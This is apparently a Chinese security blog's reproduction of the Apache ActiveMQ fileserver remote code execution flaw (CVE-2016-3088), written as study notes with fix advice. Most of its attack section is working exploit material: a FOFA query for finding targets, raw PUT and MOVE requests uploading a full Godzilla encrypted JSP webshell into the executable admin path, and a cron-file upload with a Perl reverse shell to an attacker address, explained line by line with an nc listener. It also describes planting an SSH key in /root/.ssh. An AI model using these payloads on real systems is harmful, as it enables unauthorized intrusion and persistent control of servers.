Apache ActiveMQ 远程代码执行漏洞分析 (CVE-2016-3088)

0x01 产品简介

ActiveMQ 是 Apache 软件基金会下的一个开源消息驱动中间件软件。Jetty 是一个开源的 servlet 容器,它为基于 Java 的 web 容器,例如 JSP 和 servlet 提供运行环境。ActiveMQ 5.0 及以后版本默认集成了jetty。在启动后提供一个监控 ActiveMQ 的 Web 应用。

servlet 容器

Servlet 接口规定请求从容器到达 web 服务端的规范,最重要的三个步骤是:

  1. init():初始化请求的时候要做什么;
  2. service():拿到请求的时候要做什么;
  3. destory():处理完请求销毁的时候要做什么。

所有实现 Servlet 的实现方都是在这个规范的基础上进行开发。那么 Servlet 中的数据是从哪里来的呢?答案就是 Servlet 容器。容器才是真正与客户端打交道的那一方。

Servlet容器只有一个,而 Servlet 可以有多个。

常见的Servlet容器Tomcat, 它监听了客户端的请求端口, 根据请求行信息确定将请求交给哪个Servlet 处理,找到处理的Servlet之后,调用该Servlet的 service() 方法,处理完毕将对应的处理结果包装成ServletResponse 对象返回给客户端。

0x02 漏洞描述

2016年4月14日,国外安全研究人员 Simon Zuckerbraun 曝光 Apache ActiveMQ Fileserver 存在多个安全漏洞,可使远程攻击者用恶意代码替代 Web 应用,在受影响系统上执行远程代码(CVE-2016-3088)。

0x03 影响版本

Apache ActiveMQ 5.0.0 – 5.13.2
ActiveMQ在5.12.x~5.13.x版本中,默认关闭了fileserver这个应用
5.14.0版本以后,彻底删除fileserver

0x04 搜索语法

FOFA

1
app="APACHE-ActiveMQ"

0x05 漏洞复现与分析

系统登录界面

image-20240823164718473

函数调用链

protected void doPut(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException

image-20240824194224231

->private File locateFile(HttpServletRequest request)

image-20240824194241559

protected void doMove(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException 并未对路径进行检查

image-20240824194404695

法一 上传webshell

条件:

  1. 知道账号,密码,呈登录状态(Activemq 的默认账密:admin admin
  2. 知道绝对路径

攻击链:

  1. 通过 http://your-ip:8161/admin/test/systemProperties.jsp 页面获取绝对路径activemq.home
  2. 通过PUT方法上传 webshell到/fileserver文件夹下(webshell通过Gozilla等生成)(数据包中应含有Authorization: Basic YWRtaW46YWRtaW4=
  3. 通过MOVE方法将上传后的文件 /fileserver/4.jsp 移动到file:///opt/activemq/webapps/admin/4.jsp(admin || api 才具有执行权限)(可对文件进行重命名)
  4. 通过工具连接webshell,执行其他操作
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
PUT /fileserver/4.jsp HTTP/1.1
Host: 127.0.0.1:8161
Authorization: Basic YWRtaW46YWRtaW4=
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 2619


<%! String xc="3c6e0b8a9c15224a"; String pass="pass"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", n
ew Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }%><%try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters",data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){}

%>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
MOVE /fileserver/4.jsp HTTP/1.1

Destination: file:///opt/activemq/webapps/admin/4.jsp

Authorization: Basic YWRtaW46YWRtaW4=

Host: localhost:8161

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Connection: close

Content-Length: 0


注意需要管理员权限。ActiveMQ默认为:Admin Admin

image-20240823164912883

image-20240823164925194

Godzilla

image-20240823164954209

nuclei的poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
id: CVE-2016-3088

info:
name: Apache ActiveMQ Fileserver - Arbitrary File Write
author: fq_hsu
severity: critical
description: Apache ActiveMQ 5.x before 5.14.0 allows remote attackers to upload and execute arbitrary files via an HTTP PUT followed by an HTTP MOVE request via the Fileserver web application.
impact: |
An attacker can write arbitrary files on the server, potentially leading to remote code execution.
remediation: |
Upgrade to Apache ActiveMQ version 5.14.0 or later to fix the vulnerability.
reference:
- https://www.exploit-db.com/exploits/40857
- https://medium.com/@knownsec404team/analysis-of-apache-activemq-remote-code-execution-vulnerability-cve-2016-3088-575f80924f30
- http://activemq.apache.org/security-advisories.data/CVE-2016-3088-announcement.txt
- https://nvd.nist.gov/vuln/detail/CVE-2016-3088
- http://rhn.redhat.com/errata/RHSA-2016-2036.html
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2016-3088
cwe-id: CWE-20
epss-score: 0.83955
epss-percentile: 0.98478
cpe: cpe:2.3:a:apache:activemq:*:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: apache
product: activemq
shodan-query:
- cpe:"cpe:2.3:a:apache:activemq"
- product:"activemq openwire transport"
tags: cve2016,cve,fileupload,kev,edb,apache,activemq,intrusive
variables:
rand1: '{{rand_int(11111111, 99999999)}}'

http:
- raw:
- |
PUT /fileserver/{{randstr}}.txt HTTP/1.1
Host: {{Hostname}}

{{rand1}}
- |
GET /fileserver/{{randstr}}.txt HTTP/1.1
Host: {{Hostname}}

matchers:
- type: dsl
dsl:
- "status_code_1==204"
- "status_code_2==200"
- "contains((body_2), '{{rand1}}')"
condition: and
# digest: 4a0a00473045022100bf71dfa43973a168508db9de8e123853306c617b25b2d8b76575042c5d8071a9022004dbec1f986db202f8678ebd43e6e7c5d04be5dc379324109cdd7b7a52ed0928:922c64590222798bb761d5b6d8e72950

法二:crontab文件——反弹shell

条件:

  1. 需要运行 ActiveMQ 的用户有 root 权限
  2. 服务器开启了 cron 服务
  3. 运行 ActiveMQ 的用户有使用 crontab 的权限

攻击链:

  1. 检验是否满足以上三个条件,若满足
  2. 上传shell 至/fileserver文件夹下
  3. 移动shell 至/etc/cron.d/文件夹下
  4. 在控制端(服务器)nc -l -p 端口号,等待一段时间,获得shell(在此,由于上传的文件内容规定一分钟一执行,所以等待时间在1min以内)

反弹shell

就是控制端监听某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。

cron

https://www.cnblogs.com/GuoYuying/p/14757419.html

linux中用于执行重复任务的服务器,管理员可在/ etc/crontab中编辑自己的crontab.

poc

1
2
3
4
5
6
7
8
9
PUT /fileserver/1.txt HTTP/1.1
Host: localhost:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 248

*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="your-ip";$p=21;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

image-20240825144521014

image-20240825144557771

注解

1
2
3
4
5
6
7
8
9
10
*/1 * * * * root /usr/bin/perl -e 
'use Socket;
$i="10.0.0.1";
$p=21;
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($p,inet_aton($i))))
{open(STDIN,">&S");
open(STDOUT,">&S");
open(STDERR,">&S");
exec("/bin/sh -i");};'

*/1 * * * * root ...:这是一个cron任务,配置为每分钟运行一次。

*/1: 在每分钟的第0秒执行。

​ 这里的*/1表示每1分钟执行一次,也可以简单写成*,同样表示每分钟执行一次。

root: 任务由 root 用户执行,具有最高的系统权限。

/usr/bin/perl -e: 使用 Perl 解释器的 -e 选项来执行一段直接嵌入命令行的 Perl 代码。

use Socket; 是一段 Perl 代码的开头,用于引入 Perl 的 Socket 模块。这个模块提供了在 Perl 中处理低级别网络通信的功能,允许脚本进行各种网络操作,例如创建套接字(socket)、连接到远程主机、发送和接收数据等。

$i="10.0.0.1";$p=21;:指定了要连接的IP地址和端口。

socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));

socket(S, ...);:

  • socket 是一个函数,用于创建一个新的套接字(socket)。套接字是网络通信的端点,允许数据在两个程序之间传输。
  • S 是套接字的文件句柄,后续代码可以通过这个句柄引用该套接字。

PF_INET:

  • PF_INET 表示套接字使用 IPv4 协议。PF 代表“协议族”(Protocol Family),而 INET 则是“Internet Protocol v4”(IPv4)的缩写。
  • 通过指定 PF_INET,你告诉 socket 函数这是一个基于 IPv4 地址的网络套接字。

SOCK_STREAM:

  • SOCK_STREAM 表示这是一个流式套接字,它使用 TCP 协议进行数据传输。流式套接字提供了一种可靠的、面向连接的通信方式,数据可以按顺序传输。
  • TCP(Transmission Control Protocol)确保了数据的完整性和顺序性。

getprotobyname("tcp"):

  • getprotobyname("tcp") 函数返回 TCP 协议的协议号,socket 函数需要知道该套接字将使用的具体协议。
  • 通过传入 "tcp"getprotobyname 返回与 TCP 协议相关联的协议号,通常是 6

connect(S,sockaddr_in($p,inet_aton($i))):尝试连接到指定IP和端口。

inet_aton 是一个函数,用于将点分十进制格式的 IP 地址(例如 “192.168.1.1”)转换为网络字节序(binary format)。该函数返回一个 32 位的整数,这就是 IP 地址的二进制表示形式。

sockaddr_in 函数将端口号 $p 和 IP 地址(通过 inet_aton($i) 转换后的二进制格式)组合在一起,生成一个套接字地址结构(sockaddr_in 类型的结构体),这个结构体可以传递给 connect 函数,用于建立连接。

open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");

用于创建一个反向Shell连接。它将标准输入、标准输出和标准错误重定向到已经建立的网络连接(套接字 S),然后在远程主机上启动一个交互式的 shell(通常是 /bin/sh

-i 选项意味着这个 shell 是交互式的,这使得攻击者能够实时输入命令并接收输出。

image-20240825144334361

1
nc -l -p 21
  • 这个命令使用 netcat(缩写为 nc)监听21端口的传入连接。虽然21端口通常用于FTP,但在这里被用于反向Shell。
  • Listen Mode:
    • 当使用 -l 选项时,netcat 会进入监听模式,等待来自远程主机的连接请求。
    • 这个选项让 nc 类似于服务器的行为,监听一个指定的端口,直到有客户端(比如另一台机器上的 nc 实例)发起连接。

法三:ssh 公钥

SSH 的全称为 Secure Shell 即安全外壳协议,是一种加密的网络传输协议。它能够在公开的网络环境中提供安全的数据传输环境,通常用于登录远程主机与推拉代码。

条件:

  1. 服务端开启ssh服务(nmap -sV ip -p-探测)
  2. 需要运行 ActiveMQ 的用户有 root 权限

攻击链:

  1. 上传 ssh公钥到 /fileserver目录下 (ssh公钥的生成 ssh-keygen -t rsa 生成到指定文件中)
  2. 移动到/root/.ssh/ 目录下
  3. 主机通过 ssh 目标主机ip获得shell

image-20240825151722088

如上没有开启,但为了练习使用,我们打开ssh服务。详细内容请看下回分解

0x06 修复建议

  1. 升级到最新版本
  2. 关闭fileserver这个应用

0x07 思考

你以为的高山不过是平原,战略上蔑视,战术上重视。

前前后后搞了8h,学到了

  1. webshell获得权限、crontab反弹shell获取权限、ssh连接获取权限

  2. 漏洞复现的要素:poc、函数调用链、条件、攻击链、批量自动化(这一步还需加强)

虽然是一个比较老的漏洞,但是收益良多。:star: